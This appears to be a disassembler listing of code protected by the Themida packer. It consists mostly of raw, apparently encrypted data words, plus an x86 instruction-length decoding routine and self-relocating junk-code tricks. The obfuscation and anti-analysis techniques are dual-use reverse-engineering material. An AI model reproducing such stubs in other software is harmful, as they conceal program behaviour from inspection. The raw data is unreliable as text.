208CE71Bh, 83653772h, 0A4F305E9h, 0DDBAC08Bh, 6A1BB723h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0B3ACC357h, 928BA51Bh, 8FB1A1B3h, 8166C38Bh dd 8BF9C6D2h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 3FBE563Fh, 8BF7EC08h, 25BD83F8h dd 61316h, 0BD830975h, 6132C81h, 50197400h, 0B8C08B53h dd 47Ah, 31158589h, 9D8D0613h, 615A9E4h, 585BD3FFh, 2C81BD83h dd 74000613h, 0B8535017h, 47Ah, 31158589h, 9D8D0613h, 615A685h dd 585BD3FFh, 80F9BF0Fh, 8E0F82CEh, 3, 8BC88B66h, 266E9C0h dd 66600000h, 0C1F6D98Ch, 35840F04h, 6A000000h, 6DB5FF01h dd 8D061311h, 167C3385h, 89D0FF06h, 13281585h, 0C1FE8B06h dd 680CEFh, 6A200600h, 57026A00h, 1000D68h, 1595FF00h dd 0E9061328h, 32h, 11E185C6h, 68560613h, 0A9C530DFh, 1EE9B5FFh dd 858D0613h, 6167C33h, 8589D0FFh, 613122Dh, 29FD858Dh dd 6A500613h, 56056A40h, 122D95FFh, 0C3610613h, 3 dup(0) dd 60D48B52h, 8908428Bh, 18885E85h, 0C428B06h, 88568589h dd 428B0618h, 5A858910h, 8D061888h, 188894B5h, 0A1858D06h dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 618885Eh, 8856858Bh dd 0BD830618h, 618885Ah, 7840F00h, 89000000h, 2E906h, 6880000h dd 0CFh, 0 dd 0D48B5200h, 8428B60h, 885E8589h, 0B58D0618h, 61888E5h dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 618885Eh, 8B0004C2h dd 18885E85h, 89008B06h, 18885E85h, 0CF06h, 89600000h dd 1888BBB5h, 0B7858906h, 8D061888h, 13065D85h, 44408B06h dd 88F48589h, 0B58D0618h, 618892Ah, 8EA1858Dh, 0D0FF005Bh dd 0BB858B61h, 0C3061888h, 88B79D8Bh, 0B70F0618h, 0D8033C43h dd 3785B8Bh, 1888B79Dh, 24738B06h, 88B7B503h, 8B560618h dd 738B207Bh, 0B7BD031Ch, 3061888h, 1888B7B5h, 0C983FC06h dd 9D8B41FFh, 61888BBh, 9503178Bh, 61888B7h, 8A04C783h dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h dd 85038604h, 61888B7h, 88BB8589h, 0F08B0618h, 0C18BCE8Bh dd 88F4BD81h, 618h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h dd 12E8C100h, 3FF825h, 0F4BD8B00h, 83061888h, 8B06070Ch dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 88F4BD81h, 618h dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h dd 0F4BD8100h, 61888h, 0FC03000h, 0E84h, 3FF82500h, 808B0000h dd 0C0600000h, 0CF060883h, 8862858Dh, 85890618h, 61321F9h dd 88F8858Dh, 85890618h, 61315D9h, 88BF858Dh, 85890618h dd 6130BB1h, 8B878D8Dh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 1FF9FFC3h, 13E957A9h dd 0E0000000h, 0C074CB6h, 0A008D39Fh, 6C3AD078h, 97D7163Fh dd 895B2EB9h, 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 5FB06FB1h, 81958B60h dd 2906132Bh, 130AC5B5h, 958B6106h, 6132C59h, 18DD85C7h dd 60EC0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 9352F0C3h, 0C812C735h, 0DA816653h dd 0BD8BE59Ch, 6132449h, 305585C7h, 613h, 12E90000h, 74000000h dd 0F0DC1194h, 0A0E641CDh, 1106ABF6h, 936DF13Eh, 31B5FF3Eh dd 0E9061328h, 0Ah, 57BC6330h, 4003671Fh, 95FF5B17h, 6131D89h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 12C35040h dd 5B603283h, 1E30AAB9h, 1D7D958Bh, 6A0613h, 0DA995FFh dd 0C08B0613h, 9232FEBh, 0D1492DC6h, 4834CF2h, 9DD0919Eh dd 0F9F152AEh, 0AA4E1E89h, 2D61B60Fh, 5199ECAAh, 0CD5A8F0h dd 0C137A2C5h, 43FF39F9h, 487C0E71h, 1C8E95Ah, 88880000h dd 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 8C20000h, 75746600h, 0FE80h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6188D93h, 0E085C760h dd 6188Ch, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6188CE4h dd 6, 24E9h, 0E8858D00h, 5006188Ch, 8D38858Dh, 56500618h dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 188CE485h dd 0B5036106h, 6188CE4h, 8CE0858Bh, 0C35D0618h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5D50E9 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5D50F5 ; --------------------------------------------------------------------------- loc_5D50E9: ; CODE XREF: Themida_:005D50D2j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5D50F5: ; CODE XREF: Themida_:005D50E4j push ebx push esi push edi loc_5D50F8: ; CODE XREF: Themida_:005D514Dj ; Themida_:005D5169j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5D510B: ; CODE XREF: Themida_:005D5132j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6188E4Ah lea ebp, [ebp+6188CC0h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5D5138 inc cl cmp cl, 0Bh jb loc_5D510B loc_5D5138: ; CODE XREF: Themida_:005D5127j cmp cl, 0Bh jz loc_5D5195 cmp al, 66h jnz loc_5D5176 cmp byte ptr [ebp-5], 0 jnz loc_5D50F8 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5D516E mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5D50F8 ; --------------------------------------------------------------------------- loc_5D516E: ; CODE XREF: Themida_:005D515Bj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5D5176: ; CODE XREF: Themida_:005D5143j cmp al, 67h jnz loc_5D50F8 cmp byte ptr [ebp-6], 0 jnz loc_5D50F8 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5D50F8 ; --------------------------------------------------------------------------- loc_5D5195: ; CODE XREF: Themida_:005D513Bj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5D51C1 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5D51C6 ; --------------------------------------------------------------------------- loc_5D51C1: ; CODE XREF: Themida_:005D51A0j movzx edi, al shr edi, 1 loc_5D51C6: ; CODE XREF: Themida_:005D51BCj push ebp call $+5 pop ebp sub ebp, 6188F02h lea ebp, [ebp+6188BC0h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5D5348 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5D528C dec ecx jz loc_5D526F dec ecx jnz loc_5D52DF cmp byte ptr [ebp-2], 0 jnz loc_5D52DB cmp byte ptr [ebp-5], 0 jz loc_5D524E mov byte ptr [ebp+0Bh], 2 loc_5D524E: ; CODE XREF: Themida_:005D5244j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 6188F8Eh mov dword ptr [ebp+6188CE0h], 1 pop ebp jmp loc_5D52DF ; --------------------------------------------------------------------------- loc_5D526F: ; CODE XREF: Themida_:005D5229j cmp byte ptr [ebp-2], 0 jnz loc_5D52B9 cmp byte ptr [ebp-5], 0 jz loc_5D52B9 mov byte ptr [ebp+0Bh], 2 jmp loc_5D52B9 ; --------------------------------------------------------------------------- loc_5D528C: ; CODE XREF: Themida_:005D5222j cmp byte ptr [ebp-2], 0 jnz loc_5D52D2 cmp byte ptr [ebp-5], 0 jz loc_5D52C1 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5D52B9 mov [ebp+0Bh], cl loc_5D52B9: ; CODE XREF: Themida_:005D5273j ; Themida_:005D527Dj ... inc byte ptr [ebp+0Bh] jmp loc_5D52DF ; --------------------------------------------------------------------------- loc_5D52C1: ; CODE XREF: Themida_:005D529Aj cmp dl, 5 jnz loc_5D52DF mov [ebp+0Bh], dl jmp loc_5D52DF ; --------------------------------------------------------------------------- loc_5D52D2: ; CODE XREF: Themida_:005D5290j cmp dl, 6 jnz loc_5D52DF loc_5D52DB: ; CODE XREF: Themida_:005D523Aj mov byte ptr [ebp+0Bh], 3 loc_5D52DF: ; CODE XREF: Themida_:005D5230j ; Themida_:005D526Aj ... dec byte ptr [ebp+0Bh] jz loc_5D530D movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5D52EF: ; CODE XREF: Themida_:005D5305j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5D52EF mov esi, edx loc_5D530D: ; CODE XREF: Themida_:005D52E2j and al, 0FEh cmp al, 0F6h jnz loc_5D5342 cmp edi, 7Fh ja loc_5D5342 test bl, 38h jnz loc_5D5342 cmp byte ptr [ebp-7], 0 jz loc_5D533C movzx eax, byte ptr [ebp-4] jmp loc_5D533F ; --------------------------------------------------------------------------- loc_5D533C: ; CODE XREF: Themida_:005D532Dj push 1 pop eax loc_5D533F: ; CODE XREF: Themida_:005D5337j mov [ebp-1], al loc_5D5342: ; CODE XREF: Themida_:005D5311j ; Themida_:005D531Aj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5D5348: ; CODE XREF: Themida_:005D51F2j mov al, bl and eax, 7 sub eax, 4 jz loc_5D5373 dec eax dec eax jz loc_5D5369 and bl, 7 add [ebp-1], bl jmp loc_5D537B ; --------------------------------------------------------------------------- loc_5D5369: ; CODE XREF: Themida_:005D5358j mov al, [ebp-3] add al, 6 jmp loc_5D5378 ; --------------------------------------------------------------------------- loc_5D5373: ; CODE XREF: Themida_:005D5350j mov al, [ebp-3] add al, 4 loc_5D5378: ; CODE XREF: Themida_:005D536Ej add [ebp-1], al loc_5D537B: ; CODE XREF: Themida_:005D5364j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5D53A3 movzx ecx, byte ptr [ebp-1] inc ecx loc_5D538E: ; CODE XREF: Themida_:005D539Dj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5D538E loc_5D53A3: ; CODE XREF: Themida_:005D5383j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 858Dh dd 6188D8Dh, 21918589h, 8D8D0613h, 61891D6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0BAC35040h, 231E7B33h dd 13227D9Dh, 0BD8D8906h, 906131Bh, 1304CD95h, 0DD85C706h dd 38061318h, 0C700006Fh, 13305585h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 1F5D1B0Bh, 0FD5592EDh, 8E92827h, 0B0000000h, 2E049393h dd 0B1C6E24h, 1325C5BDh, 6B0BF06h, 0B5FF55D1h, 6130ED5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4BC35343h dd 29093CF6h, 8BE49E61h, 131611BDh, 8995FF06h, 6A06131Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0BDA7C353h, 890FD080h, 1307F5BDh, 0FF006A06h dd 130DA995h, 0EBC08B06h, 1AF600Fh, 9B533F4Fh, 1FEC904Bh dd 95D0D9A2h, 83F5C08Bh, 131625BDh, 9750006h, 2C81BD83h dd 74000613h, 8B535019h, 3FCB8C0h, 85890000h, 6130D7Dh dd 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50177400h dd 3FCB853h, 85890000h, 6130D7Dh, 0A66C9D8Dh, 0D3FF0615h dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0BF3290C3h, 0FB9372Ah, 6AD6BFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 85E093C3h dd 7B027D5h, 0D7CB8190h, 8B2E0ADEh, 0CA8166D1h, 0C08BFEA6h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E8C35343h dd 0B736E594h, 3DBD8380h, 1061317h, 7C840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 217CDDC3h, 4C549212h, 0D9B70F5Dh, 12A5BD83h, 0F000613h dd 4985h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 83BC564Dh, 131F95BDh, 840F0006h dd 43h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h dd 91C35343h, 55E931B6h, 0F000003h, 0D2B7h, 0E8600000h dd 6, 0A44B3F77h, 0BB663C24h, 8B5AFFD3h, 0F6BB61D3h, 0C31A16C2h dd 3F265C00h, 0C4B5D8B3h, 0C9B5B15Dh, 27EA92B5h, 56C93BEAh dd 1DF133B1h, 9CB5A8B1h, 8DE2F5B5h, 23823DCFh, 1E15EDE7h dd 0DFF13130h, 0E4A55AB3h, 35BFB2B5h, 2C37DDC6h, 0B1813F71h dd 0A483654Ah, 0ACD3D90Bh, 434AE865h, 21E7B2DFh, 0E4B5B2B6h dd 2876E895h, 3D91E63Ch, 9891F634h, 4EB5B2A9h, 3C76E0F7h dd 64AD9853h, 0DD6C5C78h, 0D8E6435h, 72B5B638h, 315CD2D5h dd 31B5B2B5h, 78189163h, 282FE695h, 93B5B23Ah, 0D00AD3B5h dd 85AE9F5Ch, 72B55AE0h, 0B8E8B2B5h, 84264658h, 2E6639B3h dd 46D56A35h, 93DF723Eh, 0C9B65AE2h, 0BB95B2B5h, 0E3CED76h dd 7D34B691h, 9CAEB691h, 19F2B2B5h, 7D1E7876h, 2FF9B70Dh dd 0C9BF5BDBh, 6E2FB2B5h, 0CAA9391Ah, 9AA38152h, 0C3E009D3h dd 0F7D3D2E5h, 295C1521h, 0BFB5B2B5h, 0F15AA0B9h, 2F05093Bh dd 303EC791h, 3D3CD387h, 17D3E191h, 4FBAE864h, 0AC4B96F9h dd 93DFEA62h, 0C9B65AE7h, 0BE95B2B5h, 263CE876h, 7D34B691h dd 9CADB691h, 1CF7B2B5h, 0B6214676h, 9FB0203Bh, 0C6B5B2B7h dd 0EC3E650Ah, 72BC5AE4h, 0D50AB2B5h, 250261E9h, 2862D83Bh dd 916D5834h, 955CE8EFh, 56B5B2B5h, 9745B0BBh, 3A3ED493h dd 0E235D249h, 4C3ED4FEh, 0F64838D4h, 27B5B2B4h, 7BE3B2DFh dd 0C9B5B2B6h, 0BA76EC95h, 7691C63Ch, 3D91F634h, 9CB5B2AFh dd 0EB76E4F3h, 9BAE8E7Dh, 7BE41F1Ah, 0C9B5B2BEh, 0A9DC73Eh dd 6C7C633Bh, 8B8DE1BBh, 75EEE8E5h, 4EB5B2A4h, 0E638993Ch dd 39844DC2h, 5FE67E4Dh, 25AA1364h, 0E86E33A4h, 0A8A3DADDh dd 523ED4D5h, 0B50ED4D5h, 46630724h, 7AD5E2D4h, 0C9B5B2A5h dd 0EBD958F9h, 0BFB48FEDh, 8049667Dh, 36B3E0E0h, 16D4D2E2h dd 27DF23D4h, 93B65AE6h, 9295B2B5h, 0B83CE976h, 3634B691h dd 39ADB691h, 0CFF6B2B5h, 397F8776h, 2F5DAD8Bh, 99B5B2B5h dd 0FED7AFCAh, 0EB1EB5B4h, 14EE610Ah, 39DF6B39h, 9CB65AE7h dd 1495B2B5h, 733CE876h, 0D734B691h, 0C9ACB691h, 0B6F7B2B5h dd 2BD8B576h, 0CF6DCD6Ah, 19BAB674h, 4EB5B267h, 215C653Eh dd 19B5B2B5h, 0FC0AB101h, 0EF5CEBFEh, 0B9B5B2B5h, 99456B37h dd 0BFFD1925h, 7735BF4Ah, 0EC30BDDDh, 13B5B2B5h, 0B03EB26Bh dd 0B6B5D8B4h, 72B5B15Dh, 0FAEF92B5h, 0B8E13BEFh, 6AF133B1h dd 27B5A7B1h, 50E7F0B5h, 0D85CCB15h, 6B5B2B5h, 0F809BA5Ah dd 0F752FF64h, 0C3888455h, 97790CD0h, 27B54D34h, 11BA32B5h dd 0C9B5B233h, 0CE7B2DFh, 72B5B2B6h, 6376E895h, 9891E63Ch dd 4A91F634h, 27B5B2A2h, 0F176E0F7h, 0EDA4C74h, 0FC26F230h dd 72B5B3B3h, 884732B5h, 9CB5E55Ch, 483FBDB5h, 0A6B5B2B5h dd 279CF376h, 0C9F15BC8h, 0E4DFB2B5h, 72B65AE4h, 6095B2B5h dd 0D03CEB76h, 0A34B691h, 27A9B691h, 0C2F4B2B5h, 9EC43876h dd 2E2BFD4Fh, 0F9EC1CD7h, 4036D464h, 18BA4DBEh, 4EB5B2A7h dd 2E265834h, 1672D642h, 0CFAD21F5h, 0E4B5B2B4h, 8EFD1E07h dd 0D9B6690Ch, 32303F82h, 0C3B3AA2Dh, 3F231C08h, 0E74D89B3h dd 18BA82B2h, 115EF57Ch, 9AE3B2DFh, 39B5B2B6h, 0C276EC95h dd 4A91C63Ch, 2391F634h, 93B5B2A8h, 0FA76E4F3h, 722FEB9Bh dd 7D64EEFFh, 0E63ED442h, 74E6B2DFh, 4EB5B2B6h, 7C76E995h dd 9791EE3Ch, 0CD91F634h, 0E4B5B2A3h, 0BC76E1F6h, 0D1D5D72Ah dd 9CB5B2A6h, 37CBC41h, 6C6E99FAh, 0D87236E5h, 0F4CDD1B9h dd 82D48654h, 2885730Dh, 39A131BAh, 935CB2B5h, 67B5B2B5h dd 19D8D889h, 4C1E400h, 3A88F099h, 67D4E4A6h, 61A28F08h dd 0BDBAB3B3h, 9CB5B239h, 0EA4733D3h, 213CBDF4h, 12B5B2B5h dd 0BBB8436Fh, 41083197h, 72B3A1A7h, 39DB37BAh, 9CDFB2B5h dd 4EB65AE5h, 7F95B2B5h, 0D73CEA76h, 8D34B691h, 0E4ACB691h dd 22F5B2B5h, 0E7760576h, 1C0537B8h, 0A8353772h, 0B20831A8h dd 93B3A1AAh, 0C9E436BAh, 0E4DFB2B5h, 72B65AE6h, 6295B2B5h dd 0C03CE976h, 0A34B691h, 27A0B691h, 0C0F6B2B5h, 208C8676h dd 0E4B5B2B3h, 0C2D63699h, 345C9596h, 7AB5B2B5h, 29D3AE6Ch dd 0F1333A25h, 54A5463h, 0C9B5265Ch, 0E4B95AB5h, 2DB9B2B5h dd 0E3E7ACFh, 3BFB7785h, 0CDEE6165h, 34A28F08h, 16BAB3B3h dd 0C9B5B2D2h, 0CE3B2DFh, 72B5B2B6h, 6776EC95h, 9891C63Ch dd 4A91F634h, 27B5B2AEh, 0C076E4F3h, 0B3719EF4h, 6FAD7E7Ah dd 1702EF6Dh, 0D0493876h, 9CB5B2F0h, 0A6E7B2DFh, 27B5B2B6h dd 0C976E895h, 0CD91E63Ch, 0E091F634h, 72B5B2A8h, 76E0F7h dd 42CE41B0h, 0AE7A6C40h, 2B3BBD94h, 9CB5B2B5h, 0C9B5B438h dd 716633B5h, 2FFD41F4h, 0E90ABDE3h, 19BA7DEFh, 4EB5B2B4h dd 7A083F4Dh, 1EB3AA26h, 0D12DC938h, 0B8A80AB3h, 0F786C98Fh dd 3FA6A5B8h, 0C747D9Eh, 82D9B669h, 2D32303Fh, 8C3B3AAh dd 0B33F231Ch, 0B2E74D89h, 7C18BA82h, 5E983F5h, 0BD83A4F3h dd 6189340h, 8D0D7400h, 134F8D8Dh, 1B806h, 0E1FF0000h dd 50006A40h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0F45D6EC7h, 0C9EB927h, 860FA844h, 0Eh, 6E850h dd 448A0000h dd 4DDE831Eh, 0D88B5B5Ah, 6A2DE883h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 645FC350h dd 0C370B4A1h, 0FC70F21h, 584h, 0A73BBA00h, 0C08B4AC8h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 15C35545h dd 0F596949h, 58Ah, 6A2ABB00h, 0BA662897h, 0BD834CAEh dd 6131625h, 83097500h, 132C81BDh, 19740006h, 0C08B5350h dd 3FCB8h, 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h dd 81BD8358h, 6132Ch, 53501774h, 3FCB8h, 15858900h, 8D061331h dd 15A6859Dh, 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 60C9CD08h, 2BDE8166h dd 8E823h, 4FCF0000h, 2DB8B21Dh, 0C28176FBh, 7EFA2A3Bh dd 0D88A615Fh, 7E9h, 4C5F0E00h, 504F4CFEh, 9785BB66h, 8D8DC08Bh dd 6189AB8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 74C35141h, 970E9A21h, 14E93F16h, 0AA000000h, 0F6DCEF76h dd 2597738Fh, 605B395Dh, 0F677F22Ah, 89D8AB80h, 131BBD8Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0C8E699DBh, 0C7F6BF0Fh, 1318DD85h, 5CE406h dd 0E1858900h, 0C706130Bh, 13305585h, 6, 5E800h, 3D6C0000h dd 8963ACCDh, 1325D985h, 0B5FF5B06h, 6132101h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2AC35242h, 9D094872h dd 6131131h, 1D8995FFh, 0EE800613h, 9958983h, 6A06131Eh dd 0A995FF00h, 8B06130Dh, 4138EBC0h, 9565247Bh, 18BFF09Eh dd 0CB185E72h, 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h dd 0C6F8546Eh, 1C8D1CEEh, 0BEAC92DAh, 0E98A8435h, 0DF25C916h dd 801BB06Bh, 0E951A426h, 15Ch, 4DD6EB47h, 84386A8Ch, 4CC44EAAh dd 0B195AACh, 521254B5h, 0B1154BFh, 521A5A30h, 3B31734Eh dd 52632666h, 0D0987278h, 9C9CC654h, 5224B480h, 52551601h dd 128h, 0 dd 4, 2 dup(0) dd 33h, 0 dd 8, 0 aSystem db 'System',0 aProcess db ' Process]',0 align 10h dd 3Ch dup(0) dd 15EAE9h, 9E556800h, 25E90618h, 68FFFBABh, 6189F48h dd 0FBAB1BE9h, 0A01568FFh, 11E90618h, 68FFFBABh, 618A0D1h dd 0FBAB07E9h, 0A26368FFh, 0FDE90618h, 68FFFBAAh, 618A3A1h dd 0FBAAF3E9h, 0A47568FFh, 0E9E90618h, 68FFFBAAh, 618A539h dd 0FBAADFE9h, 0A71168FFh, 0D5E90618h, 68FFFBAAh, 618A817h dd 0FBAACBE9h, 0A8B468FFh, 0C1E90618h, 68FFFBAAh, 618A952h dd 0FBAAB7E9h, 0AB0E68FFh, 0ADE90618h, 68FFFBAAh, 618AFDFh dd 0FBAAA3E9h, 0B0AB68FFh, 99E90618h, 68FFFBAAh, 0CFC31D92h dd 630F713Eh, 0D4C02289h, 570B753Ah, 3BB257Ah, 47587913h dd 0DDCE2959h, 2F7C8F03h, 0E4C72151h, 0A028F0FEh, 428C7434h dd 91010704h, 0ACA7317Ah, 0E4CAE3FBh, 79372DA6h, 11814758h dd 0C802AFF0h, 0A506E232h, 2B80586Ch, 359F272Bh, 3449434h dd 0FDE937C1h, 34077119h, 0B3F54494h, 3451C343h, 0F5274494h dd 0B5700AE3h, 2A7EC941h, 0F40C3EA1h, 9C6D14A5h, 0E8066E85h dd 0BCD001C7h, 0BD79AC44h, 80F0F961h, 48CBA871h, 3C15h dd 0A5253100h, 0BD79A433h, 1241D709h, 9B2B48D2h, 4494E829h dd 2B2BDD1Fh, 0E8359F27h, 0C1034494h, 0F0E75F37h, 0CE3EA1BDh dd 0FF65579Ch, 0EABD783Ch, 0F8077744h, 9E48CA24h, 0E8h dd 4A617777h, 5A646CEh, 0E7ECEECCh, 66ABF4DDh, 0E256F6E2h dd 0DA4494E8h, 0E60292A8h, 18FC0CC5h, 94E80470h, 28B2F444h dd 88690CECh, 4EAF3E31h, 9751FDFBh, 7EFB6F51h, 0C8449465h dd 5D057B30h, 9583307Bh, 2DCBD4FDh, 0B0B2640h, 0A1A5907Bh dd 0EE0E863Eh, 0F4B614BDh, 0C781004h, 5CBD7986h, 7FA141E1h dd 0D4F538Ch, 3E48950Bh, 888303F3h, 2C74DC4h, 484F7692h dd 0E5040030h, 0B515BE0Ch, 0B99DDF23h, 0F9E7B819h, 32376889h dd 70FE7599h, 32BCBDE6h, 0CC000013h, 731F812Eh, 0B7AB159Ah dd 681C8625h, 0BBA71996h, 0A7178916h, 0B3EC15B7h, 6942A5CDh dd 0BBF00B77h, 703B9DC5h, 34D4BC12h, 428C76C0h, 7782CBB8h dd 0B6275F5Ah, 50A95C41h, 8D35F1FBh, 73351A95h, 2883650Dh dd 22C64EBAh, 0C1F2B953h, 1A39BF09h, 79DD48D2h, 0A1BDEAD1h dd 54F4D83Eh, 0BD783CE0h, 3C68DC6Ch, 1E60BD78h, 0DECD2EA6h dd 9735DE2Ch, 0BD783C21h, 0E5551E3Ch, 48CA24D6h, 0B67Ch dd 17FB4900h, 94E8056Fh, 27B1F344h, 759E0DEBh, 0F41D825Fh dd 94E59BD8h, 8243A544h, 3B6670C8h, 0F9E721B5h, 4962850Dh dd 0A5423288h, 0EBEDCD06h, 995A51A7h, 0B123A3AFh, 87BB6BDFh dd 90AAC355h, 2629A195h, 14C15EE9h, 45DFF0D2h, 3A6A6EEAh dd 4EE743D7h, 0E22AB06Ah, 0C74CC91Eh, 24ACACDEh, 9400E2BDh dd 7439326Dh, 0E970FE52h, 123FCBBEh, 2BBF0000h, 97761E84h dd 22BAAA18h, 936B1789h, 13BEA61Ch, 0B4AA168Ch, 0FCE6B918h dd 463C6F88h, 94EEBD1Eh, 3DA308E0h, 0F55FE7AFh, 0C3428C77h dd 5A777FC6h, 3291D145h, 83609ADFh, 382C7684h, 7738D5A0h dd 77644F31h, 0FB894A61h, 80F4CEDDh, 0B7E8096Ch, 0C90AC0FAh dd 348E1DBBh, 0A0BAAB4Fh, 0D859185h, 7F15BEF1h, 708A406Fh dd 0A1FA451Ch, 1D81C33Eh, 0F637F66Dh, 0D4253F17h, 0C038722Dh dd 0C34D3D48h, 8963CB3Ch, 3070E822h, 38DCB4AEh, 0CAE1FA59h dd 46D9FA00h, 8505F13Ch, 0C2D0824Ch, 8728C64Eh, 67CF1171h dd 68E811E7h, 1DDD1689h, 0ADFA3BADh, 19CF11B2h, 0A81DBBA7h dd 0C0E402B6h, 59529821h, 7361689Eh, 72912813h, 8C000011h dd 335F416Eh, 77EBD5DAh, 285C4665h, 7BE7D9D6h, 67574956h dd 0F3AC55F7h, 0A902E58Dh, 0FBB04B37h, 0B0FBDD85h, 7414FCD2h dd 428C4800h, 77C20BF8h, 56894A61h, 55F561CCh, 3EA1FA66h dd 9E362264h, 8A40713Ah, 9EC63270h, 9E95C1Dh, 0B3DFF991h dd 829D5655h, 0C9E6F7F8h, 0F8B208h, 413D2688h, 0A890D2C7h dd 0E5DBD028h, 996A5B7Dh, 0B72B8544h, 3D2C8509h, 0FACCBA5h dd 7D0718D9h, 1D1745CCh, 93557A95h, 50AB23A3h, 5B8DCD7Eh dd 169573DBh, 8B20B8ACh, 36D6C246h, 